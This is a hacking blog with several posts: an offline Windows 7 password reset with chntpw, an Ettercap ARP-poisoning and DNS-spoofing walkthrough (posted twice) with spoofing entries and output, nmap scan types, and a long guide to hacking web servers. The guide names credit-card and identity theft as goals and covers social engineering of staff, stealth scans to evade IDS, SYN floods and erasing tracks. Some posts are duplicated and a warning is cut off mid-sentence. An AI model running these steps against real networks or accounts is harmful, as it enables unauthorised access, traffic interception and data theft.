Hack Protocols

Hack Windows7 password using Ubuntu and chntpw

2013-08-07T10:18:00.001-07:00

“chntpw is a utility to view some information and change user passwords in a Windows NT/2000 SAM userdatabase file, usually located at \WINDOWS\system32\config\SAM on the Windows file system. In addition it also contains a simple registry editor (same size data writes) and an hex-editor which enables you to fiddle around with bits and bytes in the file as you wish.”

What u need is a USB bootable UBUNTU or Backtrack
for That Click Here

Now you have your USB bootable UBUNTU or Backtrack
Plug in you pendrive and boot from it

Before we proceed, let’s make a few assumptions:

1. You are using Windows 7/Vista

2. Your windows partition is located at /dev/sda1

3. We’ll mount it at /media/mnt/

4. We’ll reset the Administrator account.

The latest version of chntpw is the 0.99.6-2 but it has been reported to not quite working with some Windows 7 computers. The precedent version 0.99.5-0 does however work perfectly. here are the links to download both versions:

Version 0.99.6-2: To Downlaod Click Here

Version 0.99.5-0: TO Downlaod Click Here

To install Go to Download folder and run this command in terminal.

sudo apt-get install chntpw

Mount the windows partition like so:

sudo ntfs-3g /dev/sda1 /media/mnt ; cd /media/mnt/Windows/System32/config

Adjust the device names and folder paths to suit your setup. If you don’t know your username, chntpw can list all users like so:

chntpw -l SAM

Reset the Administrator password like so:

chntpw -u Administrator SAM

chntpw -l SAM

Reset the Administrator password like so:

chntpw -u Administrator SAM

You should get a prompt similar to this:

- - - - User Edit Menu:

1 - Clear (blank) user password

2 - Edit (set new) user password (careful with this on XP or Vista)

3 - Promote user (make user an administrator)

4 - Unlock and enable user account [probably locked now]

q - Quit editing user, back to user select

Select: [q] >

Type 1 to clear the password. This option has the best chance of success and comes with the least complications. You should get another prompt similar to this if you choose option 1:

Hives that have changed:

# Name

Write hive files? (y/n) [n] :

Type y and you should get this:

0 - OK

Reboot the into Microsoft Windows like so:

sudo reboot

and create a new password for the Administrator account.

FIND ME

Create a Bootable Ubuntu USB Flash Drive the Easy Way

2013-08-07T10:14:00.002-07:00

We can speed up the booting process by installing Ubuntu to a bootable USB flash drive instead.

To accomplish this, we’ll use a tiny software package called UNetbootin, which is designed to make the installation process simple and easy.

Create the Bootable Flash Drive

You’ll first need to download the UNetbootin software and save it somewhere useful, since there’s no installation required, just double-click to run.

I chose to use an already downloaded ISO image of the Ubuntu installation cd, and then chose my flash drive, and clicked the OK button. Yes, this step is as simple as that.

The process will extract the files from the ISO image (or download them), copy them to the flash drive and then install the bootloader. Depending on what you are installing, this really doesn’t take very long.

Once the process is completed, you’ll be prompted to reboot… which you don’t necessarily have to do unless you want to test booting the flash drive on the same machine you are using.

Otherwise you can hit the Exit button.

Ettercap Basics

2013-07-24T09:14:00.000-07:00

Ettercap Basics

First let’s learn some basics about Ettercap. Ettercap has the following 4 types of user interface

Text Only – ‘-T’ option
Curses – ‘-C’ option
GTK – ‘-G’ option
Daemon – ‘-D’ option

In this article, we will mainly focus on the “Graphical GTK User Interface”, since it will be very easy to learn.

Launching an ARP Poisoning Attack

We have already explained about why we need ARP and the conceptual explanation of ARP cache poisoning in ARP-Cache-Poisoning. So please have a look into it, and this article will cover how to perform it practically.

The following diagram explains the network architecture. All the attacks explained here will be performed on the following network diagram only. Using Ettercap in a production environment is not advisable.

Launch Ettercap using the following command in the 122 machine.

# ettercap -G

Click “Sniff->Unified Sniffing”. It will list the available network interface as shown below. Choose the one which you want to use for ARP Poisoning.

Once you have chosen the interface the following window will open:

The next step is to add the target list for performing the ARP poisoning. Here we will add 192.168.1.51 and 192.168.1.10 as the target as follows.

Click “Hosts->Scan for Host”.

It will start to scan the hosts present in the network.

Once it is completed, click “Hosts->Host List”. It will list the available hosts in the LAN as follows:

Now among the list, select “192.168.1.51″ and click “Add to Target 1″ and select “192.168.1.10″ and click “Add to Target 2″.

Now select “Mitm->Arp Poisoning” as follows:

The following dialog box will open. Select “Sniff Remote Connection” and click “ok”:

Then click “Start->Start Sniffing as follows:

Now Arp is poisoned, i.e, 122 machine starts to send ARP packets saying “I’m 1.10″. In-order to verify it, From 192.168.1.51 “ping 192.168.1.10″. Open “Wireshark” application in 192.168.1.122 machine, and put a filter for ICMP. You will get the ICMP packets from 192.168.1.51 to 192.168.1.10 in 192.168.1.122 as follows:

Launching DNS Spoofing Attack in LAN

The concept of DNS is as follows.

Machine A said ‘ping google.com’
Now it has to find that IP address of google.com
So it queries the DNS server with regard to the IP address for the domain google.com
The DNS server will have its own hierarchy, and it will find the IP address of google.com and return it to Machine A

Here we will see how we can spoof the DNS.

There are many plugins which comes by default with EtterCap. Once such plugin is called as DNSSpoof. We are going to use that plugin to test the DNS spoofing.

Open the /usr/share/ettercap/etter.dns in the 122 machine and add the following,

*.google.co.in A 192.168.1.12
*.google.com A 192.168.1.12
google.com A 192.168.1.12

www.google.com PTR 192.168.1.12
www.google.co.in PTR 192.168.1.12

Here, 192.168.1.10 acts as the DNS server. In-order to perform DNS spoofing, first we need to do the ARP poisoning as explained above. Once ARP is done, follow the below steps

Click “Plugins->Manage Plugins” as follows:

Select the “dns_spoof” plugin and double click to activate it as follows:

Now from 192.168.1.51 ping google.com

$ ping google.com

PING google.com (192.168.1.12) 56(84) bytes of data.
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=1 ttl=64 time=3.56 ms
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=2 ttl=64 time=0.843 ms
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=3 ttl=64 time=0.646 ms

You can see that it returns a local machine’s IP address which we have given in the configuration.

Hope this articles provides some insight into ARP Poisoning and DNS Spoofing. Once everything is done, remember to stop MITM attack as follows:

Finally, it doesn’t hurt to repeat the warning again. Do not execute this on a network or system

Nmap Scanning on Backtrack 5

2013-07-24T09:13:00.002-07:00

Nmap Scanning on Backtrack 5 [Detailed Tutorial]

Nmap is a program that scans all of the ports in your computer and check it whether they are open or not.

So lets start the scanning process in Backtrack 5 Environment.

Ping Scan

Range Scan

Stealth Scan (-sS)

OS SCAN : It showed us which Operating system is running by

the host.

TCP SCAN : This scan will show all the open tcp ports .

ADVANTAGES :

Speed
Free to use
Don't need priviledges

DISADVANTAGES

Easily Detectable and Filterable .

FIN SCAN

NULL SCAN

UDP SCAN

In udp scanning we use udp scan instead of tcp scan .

Protocol Scan -sO <Target Ip >

IP PROTOCOL SCAN

This Scan is used to find the ip protocols in use .

ACK (Acknowledgement Scan)

ETHERCAP

2013-07-22T00:55:00.001-07:00

Ettercap Basics

First let’s learn some basics about Ettercap. Ettercap has the following 4 types of user interface

Text Only – ‘-T’ option
Curses – ‘-C’ option
GTK – ‘-G’ option
Daemon – ‘-D’ option

In this article, we will mainly focus on the “Graphical GTK User Interface”, since it will be very easy to learn.

Launching an ARP Poisoning Attack

# ettercap -G

Click “Sniff->Unified Sniffing”. It will list the available network interface as shown below. Choose the one which you want to use for ARP Poisoning.

Once you have chosen the interface the following window will open:

The next step is to add the target list for performing the ARP poisoning. Here we will add 192.168.1.51 and 192.168.1.10 as the target as follows.

Click “Hosts->Scan for Host”.

It will start to scan the hosts present in the network.

Once it is completed, click “Hosts->Host List”. It will list the available hosts in the LAN as follows:

Now among the list, select “192.168.1.51″ and click “Add to Target 1″ and select “192.168.1.10″ and click “Add to Target 2″.

Now select “Mitm->Arp Poisoning” as follows:

The following dialog box will open. Select “Sniff Remote Connection” and click “ok”:

Then click “Start->Start Sniffing as follows:

Launching DNS Spoofing Attack in LAN

The concept of DNS is as follows.

Machine A said ‘ping google.com’
Now it has to find that IP address of google.com
So it queries the DNS server with regard to the IP address for the domain google.com
The DNS server will have its own hierarchy, and it will find the IP address of google.com and return it to Machine A

Here we will see how we can spoof the DNS.

There are many plugins which comes by default with EtterCap. Once such plugin is called as DNSSpoof. We are going to use that plugin to test the DNS spoofing.

Open the /usr/share/ettercap/etter.dns in the 122 machine and add the following,

*.google.co.in A 192.168.1.12
*.google.com A 192.168.1.12
google.com A 192.168.1.12

www.google.com PTR 192.168.1.12
www.google.co.in PTR 192.168.1.12

Here, 192.168.1.10 acts as the DNS server. In-order to perform DNS spoofing, first we need to do the ARP poisoning as explained above. Once ARP is done, follow the below steps

Click “Plugins->Manage Plugins” as follows:

Select the “dns_spoof” plugin and double click to activate it as follows:

Now from 192.168.1.51 ping google.com

$ ping google.com

PING google.com (192.168.1.12) 56(84) bytes of data.
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=1 ttl=64 time=3.56 ms
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=2 ttl=64 time=0.843 ms
64 bytes from www.google.co.in (192.168.1.12): icmp_seq=3 ttl=64 time=0.646 ms

You can see that it returns a local machine’s IP address which we have given in the configuration.

Hope this articles provides some insight into ARP Poisoning and DNS Spoofing. Once everything is done, remember to stop MITM attack as follows:

Finally, it doesn’t hurt to repeat the warning again. Do not execute this on a network or system

2012-05-09T00:02:00.000-07:00

How To Hack Websites And WebServers

Before you hack a system, you must decide what your goal is. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc ... ? The point is that you have to decide what the goal is first.

The most common goals are:

1. breaking into the system & taking the admin privileges.
2. gaining sensitive data, such as credit cards, identification theft, etc.

You should have all of your tools ready before you start taking the steps of hacking. There is a Unix version called backtrack. It is an Operating System that comes with various sets of security tools that will help you hack systems (penetration tests).

You should set the steps (methodology) that you plan to take in your journey before you do anything else. There is a common methodology followed
by hackers, i will mention it below. However, you can create your own methodology if you know what you are doing.

Common steps to be taken for hacking a system:

1. Reconnaissance (footprinting).
2. Scanning.
3. Ports & Services Enumeration.
4. Vulnerability Assessment.
5. Vulnerability Exploitation.
6. Penetration and Access.
7. Privilege Escalation & owning the box.
8. Erase tracks.
9. Maintaining access.

The above methodology can change based on your goals. Feel free m8!

Before you break into a system, you have to collect as much info as you can on the system and target. You have to study your target well before you hack. This step is called Reconnaissance. Reconnaissance is achieved by using techniques & tools that are undetectable by the target. You are gathering your target's info that is publicly published, e.g. browse your target's website & if they are looking for an SQL employee and Windows server admin, then you get a hint that they are running Windows Server & do SQL's, this is called a "passive" action. Lets see an example of active action! Example of active action: call the company to obtain some info, visit the company, email employees to get some info, go to the target's website & read its source code. In other words, passive action means you gather info in a non-intrusive manner. Active action is a step further, such as talking to the company as if you are a customer, things like that. It is not really important to know what action is passive & what is active, the main goal here to gather info! Simple huh? Good, let me go deeper little bit.

In passive reconnaissance, there is a 0% chance of getting caught ;-), as you only target publicly available info to give you the feel on what your target looks like. The type of info you can gather through Passive Recon. are, names, phones numbers, location addresses, partner networks, and much more. This can aid you when you want to do some social engineering! Hence, sometimes you can get some non-public info that's revealed when you do passive reconnaissance. There are several tools helps you to do passive reconnaissance, such as whois (who is). Whois helps you obtain extensive info, such as names, domains of the target, etc. Other great tools are, Sam Spade, domaintools, and google(can reveal lots of target subdomians & many more).

Active reconnaissance goes beyond the passive nature, such as communicating with the target without being caught, such as scanning. Anything not discovered in IDS(Intrusion Detection System) is considered active. You have to think of ways to extract info of the company in a normal way, public by going a little bit deeper than passive recon. e.g. you can go to the physical location, do some social engineering, email staff, communicate with employees based on the info you've gotten on your passive recons. Things like that!

Example of some techniques for active reconnaissance, such as banner grabbing, view company's public website source code and directory structure, social engineering, shoulder surfing, etc.

What the heck is banner grabbing?
You let the server send you a block of information that tells you OS version of your target system & various association with it
Banner tells OS version and various association. Anything listening on a "port" can determine the operating system (OS) "the port" is running on, this called fingerprinting. In other words, fingerprinting is the process of determining the operating system (OS) or applications used by a remote target.

Can you give a brief example of Social Engineering?
For example, you try to find out where IT admin goes after business hours, then start to go to the place he goes & build a relationship , start making a friend relationship to extract more info slowly but surely, things like that! you know what i mean.

What is shoulder surfing?
Simply, stand behind a person's shoulder and see what the guy is doing & typing on the keyboard. This can happen in a wireless network area where everyone is using a laptop in public areas.

In summary, reconnaissance is one of the most important steps in hacking. The main concept is to gather all the info that is publicly available or easily obtainable. Info that we gather will help us in social engineering and research purposes which will lead you to very critical info about the system. It starts by obtaining names, phones, emails, IP range, domain structure, and so on.

let me show you how banner grabbing is done, telnet into your target server on port 80 as the following, go to command line or terminal and type

telnet xx.xxx.xxx.xxx 80

Now the connection is established, that stupid server thinks you are a web browser connected to it, it waits you to enter commands so the server can you give you info about your request. In this situation, you have to write a command that says "Hey you web server, give me content of such and such website". However, we do not really want to visit the website through telnet, do you? You can just go to web browser & request the website from there. Our purpose here is to freak the server out enough, so it spits back a code that says, hey! this doesn't work but here is some info that might help you do some trouble shooting. This technique allows you to fingerprint various components of the target system.

Note: instead of telnet xxx.xx.xxx.xx 80, you can do nc xxx.xx.xxx.xxx 80! It's the same thing ... nc stands for netcat ... xx.xxx.xx.xxx represents the IP address of the target system.

After you do telnet xxx.xx.xxx.xxx 80, the remote sever will wait you to enter a command. Type this:

HEAD / HTTP/1.0

Then you will get a reply looks similar to:-

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html

So the header response brought back some important info that says, the server runs: Apache/1.3.23 in UNIX OS for Red Hat distribution of Linux.

OR you might get header that looks similar to the following:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Tue, 17 Jun 2003 01:41:33 GMT
Date: Mon, 16 Jun 2003 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369

It means, the server runs: Microsoft-IIS/5.0 in Win 2000 or Win 2003 (we don't the Windows version yet).

OR you might get header that looks similar to the following:

Date: Thu, 04 Dec 2008 02:18:46 GMT
Server: Apache/1.3.41 (Unix) PHP/4.4.8 mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8b
Last-Modified: Thu, 10 Jul 2008 23:34:28 GMT
ETag: "c9865b-d91-48769c84"
Accept-Ranges: bytes
Content-Length: 3473
Connection: close
Content-Type: text/html

It means, the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

Ok, you get it now?

lets say our target got the following version: the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

At this point if you know any vulnerabilities for this particular OS or this particular Apache or PHP. You can start the exploitation process ;-) ...

Another example, use program called sam-spade which gives you alot of info about your target. The target does not know actually what we are doing against their server, since they haven't seen anything been triggered by IDS or Firewall.

*What is the difference between IDS & Firewall?
An IDS (Intrusion Detection System) may only detect and warn you of a violation of your privacy. Although most block major attacks, some probes or other attacks may just be noted and allowed through. There's also an evolution of the IDS called an IPS (Intrusion Prevention System) that watches for the same things an IDS does, but instead of just alerting, it blocks the traffic.

A good firewall will block almost all attacks unless specified otherwise or designed otherwise. The only problem is, the firewall might not warn you of the attacks and may just block them.

It may be a good idea to have both an IDS and a Firewall, because the IDS will warn you and then the firewall will block the attack. Over the years, firewalls gottten more complex and added more features. One of these features is actually IDS - today you can have a firewall that already has IDS(Firewall/IDS's are combined into one internet security program).

Note: the book in amazon is just an example for you to give you an idea of what kind of book you should be looking for - if you are interested.

Alright, now you at least have an idea of what reconnaissance is! lets talk about scanning...

When you scan your target's network, you actually start touching the system. Scanning a network determines what's in there, scanning network gives you the feel of how your target's network is laid out, if there are multiple subnets, which hosts are alive, check ports, see if system is alive, discover available hosts & get info about the discovered hosts. There are thousands of tools can be used to scan networks! Scanning a network can easily get picked up by IDS. Anyhow, no one will pay attention except if you do it over and over because scans happens on such a regular basis on the internet. Therefore, people who read the logs, i means the webmaster won't really pay attention to every single scan that occurs, so you don't have to worry alot. There are ways to avoid being picked up by IDS :-). After you finish scanning, you will gain a list of network nodes that exists there.

"Node" is an active electronic device that is attached to a network, and is capable of sending, receiving, or forwarding information over a communications channel. If you want to learn more, google it or visit [Only registered and activated users can see links. ]) ...

Ok now we want to discover live hosts via scanning. This is the first action taken against your target's network. Depending on what method of scanning you use, you can be detected by IDS. Most admins will ignore detections because it happens alot unless something abnormal happens.

EDIT: TEMPORARY STOPPING POINT OF GRAMMATICAL EDITING

There are various scanner tools, e.g. nmap, superscan, and many more. There are various scan methods, some are stealthy, others are not.

Before i talk about various scanning methods, let me explain to you about TCP connections basics. When you scan your target using TCP communication, there are six TCP flags can be utilized during packet transmission(packets get transmitted during scanning process). A flag will indicate whether the sent packets are syn, ack, fin, urg, psh, or rst packets. These packets sets you in a position on how you want to communicate with the remote host. You can get different info depending on the flag you choose for the scanning.

TCP establishes three handshakes, syn, syn-ack, ack. What are they?
When you scan your target using TCP communication, you send a syn packet(syn request), and then target sends you back an ack packet with syn packet. Now, you send an ack packet to the target. So now both machines establish the connection well, like they have made a well established tunnel for a proper guaranteed communication without losing any packets during communicating with each other. A hacker can get caught easily if he uses this method to hack other systems illegally.

Hackers use non-standard combination of these six flags, which gives them info that are not normally available to the public.

Have you heard about syn flood?
syn flood is done by utilizing three handshake by sending "syn" request to the target, so the target receives a syn request and send an a syn-ack back to the originator(you). You ignore the target syn-ack request - when you ignore it, then the three handshakes is not completed, this is called half open TCP connection - In theory, when the target sends you syn-ack, the target allocates some RAM on its machine.

The amount of RAM on the target machine must be open until it gets response (ack packet) back from you because till now only two handshake has been made,so the TCP connection process is not completed yet. However, there is always a time limit for the RAM to be opened, so if 30 secs passed by & the target did not get the ack from you, the connection will abort(failed TCP handshake - timeout) & RAM will be deallocated.

The idea here is to send hell alot of packets in few secs so in 30 secs, you can send 40 million packets(lets say one packet size is 1kb) which is heavy on the RAM since the RAM might not have enough memory to carry 40 million packets. Therefore, you force the target to make half open TCP connection attempts, so definitely the target machine will stop responding to legitimate request. In other words, if you send 40 million syn requests to that remote host, it's going to allocate a hell of a lot of ram for those requests. After a while, it's going to eat up all of the ram. Thus, target system goes down. This is called syn flood attack.

In short, syn flood attack makes the system (i.e. the IP stack or kernel) chokes on the memory allocations (or simply runs out of memory) or the target application (i.e. web server) chokes on the processing load. You got it? Or not yet?! Syn flood is an old technique i just mentioned it here for illustration purposes.

General Information: these days, SYN floods are used to make systems inaccessible. They have a limited number of half open connections, you use them all, and they can't accept any more SYNs. But again, modern software throws away old SYNs once the limit is reached. Note that different systems will behave differently.

Lets talk about the most common TCP Scan types. There are full scan, half open scan, stealth scan, Xmas scan, and ack scan.

full scan: this completes 3 way TCP. it is the most effective & gives more accurate results. However, it is not safe and easily traced and detected.

half open scan: it is the second most effective scanning method, only uses first part of the handshake to get syn-ack but does not send 3rd part (ack) back to the remote host. The idea here is if the remote replies back to you after you have sent syn request, this means the port - we sent the syn to - must be open.

stealth scan: the idea here is to scan ports randomly(not in sequential order) & reduce the speed of scanning. If you scan all port from 1 to 65536 in sequence, your more visible to be detected, and usually scanning happens so fast, which is unusual since regular program does not connect to port that fast, so this can make it easier to be detected. Therefore you have to scan ports randomly & reduce the speed of scanning. To avoid IDS, you should not use full connection scan with stealth scan, you can use half-open scan(syn). syn is considered a stealth scan. In fact, syn scan is called syn-stealth scan, or you can use Xmas scan with stealth scan which helps you to evade detection, things like that! you get my point i guess.

Xmas scan: uses fin, urg, and push flags which are used to bypass some firewalls. Xmas scan works with UNIX system, it does not work with Windows system.

ack scan: this helps you evading IDS not to get you detected. You send only an ack packet to your target, your target won't know how to deal with it since there was no handshake. Thus, ack scan causes open ports in your target machine to return a reset packet(rst), rst packet gives you a hint that the port or service is not filtered between point A and point B, which usually firewal resides in between! Since the port replied you with rst packet this means there is no firewall between A(your machine) & B(port or service on the target machine) and rst packet also gives you an insight that the target port is open ;-). If there is a firewall, your ack packet would not reach to the target port & because of that you won't get any rst packet. In addition, rst packet helps you indentify what system is running on the remote host.

These are the most common method of scans, there are hundreds of scanning methods! nmap allows you to set your own custom scan type e.g. instead of sending ack flags only, you can send ack flag and rst flag together and see what you get back from target ...

OK! we have talked about how TCP scanning works in general. Now, i will be talking about UDP & ICMP Scanning ... UDP and ICMP connections most of the times are blocked at the firewall level & even at the host level in some cases. We are going to scan on hosts & ports that respond via UDP. When you scan your target via UDP, there are many problem will occur during that process e.g. you can scan over the ports via UDP, assume you scanned port 1, and port 1 is closed, then host will send ICMP unreachable back to you, which gives an insight that port is closed because you didn't get any UDP response back from target! Making sense,right? Unfortunately, we will never get a response back from target to ensure you that port is open!

Thats how UDP call works, send the packet & forget it. Lets say we come across port 21, and 21 is open, then port 21 on target machine will not reply back to you because UDP does not give you the guarantee the delivery packets during communication process, it just send the packet and forget, unlike TCP which guarantees the delivery of packets with no loss or corruption. Since we didn't get reply back, then we can assume the port 21 is open *OR* maybe port 21 is closed and ICMP reply got lost somewhere so we didn't get it! A general rule, when you don't get a reply you assume port is open.

Some high professionals security person purposely configure ports to not to respond a UDP scanning. ICMP scanning is as same as UDP. ICMP scanning is noisy & can be picked by IDS very easily because ICMP sends random several pings to the network instead of a single host(ICMP scanning does a 'ping scanning' - sends ICMP packets - to the whole network instead of a single host). After you finish ICMP scanning, based on the replies you get back from the live hosts, then you can determine that your target network is listening for ICMP traffic and you might to do some exploit based on that. Unfortunately, there aren't alot of ICMP exploits going around, so you are just going to use ICMP for network enumeration, you just do it to see what hosts are up, host A is up , host B is up & host C is up, they are replying for my ICMP. Thus, this let us know these 3 hosts are running on the targeted network and potentially can be a target for us. IDS's are always listening for network scans & alot of network scanners provide a support for ICMP scanning, but do not have a way to make it stealthy! Therefore, ICMP can turn on the IDS alert which tells the security person there is somebody scans your whole network.

nmap is a great tool that is very popular, it is usually used to scan networks, hosts, ports, and does alot of other stuff. It is very intrusive tool and considered a hacking tool. Using nmap against systems you dont own or dont have permission to scan can be considered illegal. Lets see examples of some scanning method!

Example of ICMP Scanning(-sP) - this is called ping scan

nmap -v -sP xx.xxx.xxx.xx > filename

nmap: represents the program we are running which nmap.
-v: for increased verbosity, which means bring me extra details of the targeted system. (Optional - as far as i know)
-sP: the flag that determines the scanning method.
x's: target IP address.
> filename: output the results to the newly specified filename. In other words, save results in a file (Optional)

This above command shows you the systems that are up and running, so this shows what available to us on the targeted network. As a result, you will get simple info that shows you there are number of IP addresses that responded to ping request - Note: there could be alot more machines out there that are not responding to ICMP scanning.

Lets see an example of UDP scan, UDP scan not so speed.

nmap -v -sU xx.xxx.xxx.xx

Results of UDP scan(-sU) give more info than ping scan(-sP). Keep in mind there could be hundreds of other ports are listening on the system which simply don't respond to UDP connection.

ALRIGHT, now you have a good basic understanding about scanning! Next, i will be talking about fingerprinting! So keep learning :-)

Now lets get deeper! By now we have determined what nodes are running up on the network. So we are ready to gather large info on those live systems we discovered in the previous steps. Ok! now you need to discover what services (application) are running on your target's host. Every (or at least many) port has a service running on it. For example, web server usually are running on port 80. What we have to do is scan ports, see what kind of services(applications) are running on them, try to grab the versions of the services, this will help you to determine the OS as well. This is called 'Port & Service Enumeration(fingerprinting)'. We have to do this step to understand what potential vulnerabilities your target has & how to exploit them.

Assume after we have scanned our target system, we found our target runs "IIS 5.0 Server" on "port 80". Based on the scanning result, you can say the targer server is running IIS 5.0(IIS is set of Internet-based services, IIS is the second most popular web server - IIS is a Microsoft product), it is known IIS 5.0. has too many vulnerabilities & IIS 5.0 runs on Windows 2000, which Windows 2000 by itself has hundreds of vulns.

In other words, lets scan ports and services, and do OS fingerprinting, lets identify services on those live host in our target network. Once we know what services are running and what OS are running then we can start exploiting these services! - 'ping/port/service' scans are frequently run together using the same tool.

NOTE: identifying ports & services is the most critical part in hacking ... PERIOD

OS fingerprinting is used for determining OS type and version, then we exploit vulns. that resides into the OS. When you fingerprint a target, your targets' OS can be known from the TCP/IP stack, so fingerprinting happens on TCP/IP stack. Why? Because each OS has a unique implementation of TCP/IP, so TCP/IP stack is implemented differently from OS to OS, so an exact same query sent to one machine the respond of the result will be different than the other machine. Therefore, based on the response this can help the scanner determines the OS of the target, because every OS has its own unqiue response when you do OS fingerprinting request.

When you do a default install of OS, certain services will be installed by default, services that are needed for that OS to work properly, e.g. ports
137,138,139,and 445 which all combined together to produce Win 2000 OS or above. Another example, a combination of 139 and 445 can determine a certain version of windows such as Win XP or Win 2003, there are lots of ways to determine OS. Another example, if you see a service MS SQL is running on a certain port, you can determine the target OS is not in *nix family, it is in a Win family cause the target is running a Microsoft sql product. Thus, we can say port enumeration or service enumeration can help you in determining OS.

There tons of popular scanners out there:
SuperScan - Works good on Win OS.
Nmap - Works on *nix & Windows, *nix version is much more stable than Win version.

Most scanners offer full, half, stealth, and UDP scans.

You are goning to spend most of your time scanning your target machine to know whats available there, so you can exploit the vulns & penetrate the system. Therefore, you have to do some exploration on scanning methods & decide which method of scanning you feel more comfortable with...

Lets see an example of enumeration style scanning. Just keep in mind, this can be considered hacking! Make sure you do to your system, not somebody's else.

This is kind of a stealth scan:
nmap -v -sS -A -sV xx.xxx.xx.xx > filename

This above request gives you very specific details about your target. sV is for version information identification. Check out the manual to know what these flags do - type "man nmap" to see the manual...

Alright, after we have fingerprinted services & OS, now its the time to check for various vulns against application(services) & OS running on the target system. This is called vulnerability assessment. To do vulnerability assessment, you can use the tools available, such as nessus. Nessus is free vulnerability assessment, huge database, its the best assessment tool.

Lets scan vulns on the target system. Lets say target system is win 2000 SP1 IIS 5.0, nessus goes back to its database and check the vulns for win2000 & IIS 5.0. If there is vulns not discovered, vulnerability assessment tool actually can't catch it. However, if nessus couldn't find matching vulns for the target system, it will let you if the system can have some security issues or not. Such tools are considered as Automated Vulnerability Assessment Tools. You have to know about the target system OS so you can do vuln assessment on it. There are vuln assessment OS specific, e.g. MBSA tool(only scans Win OS).

NOTE: you can do vulnerability assessment manually, this depends on you and your skills. By doing it manually, you can discover vuln. that nobody knows about it, and you can use it for your own use. It is a powerful and very discrete.

After we determined what systems & what services contain vulnerability, then we can exploit it(means take a chance of this vulnerability to achieve what you want).

common vulnerabilities out there are:

OS vulnerabilities
Webserver vulnerabilities
Database vulnerabilities
TCP stack vulnerabilities
Application vulnerabilities

Malwares, viruses, trojans, can be used to exploit vulnerabilities.

There are several automated vulnerability scanners, such as Nessus, Nikto. Security websites is a good resource for vulnerabilities as well, e.g.
bugtraq, CVE(Common Vulnerabilities and Exposures) sites, etc. Another good source to find vulnerabilities is hacker web sites.

Lets talk about the tools:

*Nessus - this is a great vulnerability assessment tool. However, in alot of cases it will perform exploits to see if the OS or service is actually vulnerable or not.

*Metasploit Framework - this is not vuln assessment tool. It is an exploitation tool, it contains hundrands of exploits helps you to exploit the system by using a nice selection of tools.

I will explain shortly about the common vulns...

OS Vulns: OS exploits are used to gain access to the system. OS exploits can used for DoS attacks too. watch the video tutorial. Most OS holes exist from default configuration, services and applications.

Webserver Vulnerabilities: webservers are the most trageted section. All people contact the webserver, thus you never know the hacker than a normal user. Webservers examples, Apache, IIS, and Tomcat. After you exploit the vulnerability in your target webserver, you can gain many different things, such as root access(the gist), website defacement, DoS(put the server down), theft or alteration data on server, or further penetration into the network.
Webserver is a great place to start when you want to do a penetration test!

Database Vulnerabilities: those software vendors who create databases applications such as SQL, Oracle, etc - they dont have security in mind, they care more into effeciency and how to make it easy for the users to handle with the database. They care about making their customers happy without giving that much attention in security issues!

TCP Stack Vulnerabilities: this is not a common used method to hack systems. Google it!

Application Vulnerabilities: some examples of application vulnerability, buffer overflow, weak authentication mechanisms, poor data validation(the most common one), and poor error checking.

ALRIGHT, to discover these vulnerabilities on the target machine you need to do vulnerability assessment. This can be done in two ways, manually or automatically. Manually means you try to discover a vuln. by yourself which eventually you will have vuln. that nobody else knows it & you can use it for yourself or publish it to security sites. Automatically means you rely on a tool that searches for vulns in the target machine, this tool has a database full of vulns. so this 'tool' will only inform you the vulns found in the target machine by relying on 'its' database. We are going to talk about auto vulnerability assessment. The most common & wonderful tool is Nessus, its free open source code!

Alot of common sense comes into play when analyzing vulns, for example you do not look for a database vulnerability in a webserver, things like that. Another resources, OVAL - gives you a good and basic foundation of vulns assess. methodology, FrSIRT - keeps track of vulns and make exploits of these vulns, you can join a paid subscription and then browse vulns avaialbe in their database and download exploits this is a good source for hacking or security, and websites for posting exploits such as milw0rm, hacking sites.

Lets have a closer look at nessus tool, nessus is client/server architecture. The process of setting it up is cumbersome. Nessus have about 9000 plugins, therefore it takes time to peroform the assessment. Results can be reviewed in a report. The report includes the vulnerabilities found on the target machine with a short description about the vulnerability.

Note: you can enable several plug-ins in plugin tab. You can specify range of ports through scan options. To specify the target, you should go to the target tab.

Once we have done the vulnerability assessment, and knew what vulnerabilities exit. We start gathering exploits of the found vulnerabilities to penetrate the system.

Lets talk about penetration and access! After all information we have gathered previously, its the time to break the system with the exploits you have.

Its the time to stop gathering information and start breaking into system. The ultimate goal is to gain the highest level of permissions. Try to use undiscovered techniques and methods. Think out of the box!

Some of exploits that enable penetration are:

*Buffer overflows
*Stack exploits
*Web vulnerabilities
*Services/apps that allow unauthenticated access.

Aside from the standard methods of penetration, lets see an penetration methods, here are some examples:

*SQL Injection - ability to change queries in the application before its sent into database.

*Application Error Handling - this can result DoS. Probably one of the most common vulnerability you can find in corporate arenas.

*Directory Traversal - browse directories you should not be able to do so on.

*Malformed Packets - one of the more difficult methods of penetration, requires very extensive knowledge of how TCP packets are assembled and disassembled. But once you get used to it, its probably the most effective ways of hacking.

*Bypassing Access Controls - password cracking is most common means of accessing systems.

*Social Engineering - i guess you know what it means.

*Sniffers - take passwords right off the wire, alot of protocls and application such as http & ftp communicate parrwods over the wire in plain text.

*Session hijacking - it is similar to sniffers, but you don't gain a password because we take off the entire session, hijack the victim's session & act as you are him.

Usually when you get passwords, you get it encrypted, or hashed or hidden in some way or another. Password cracking can be done in several ways, examples:

*Brute Force Attack - Every password, can and will be broken by brute force attack. It is about the time. Depends on the size of the password.

*Dictionary Attack - less effective than brute force, relies on list of words or phrases.

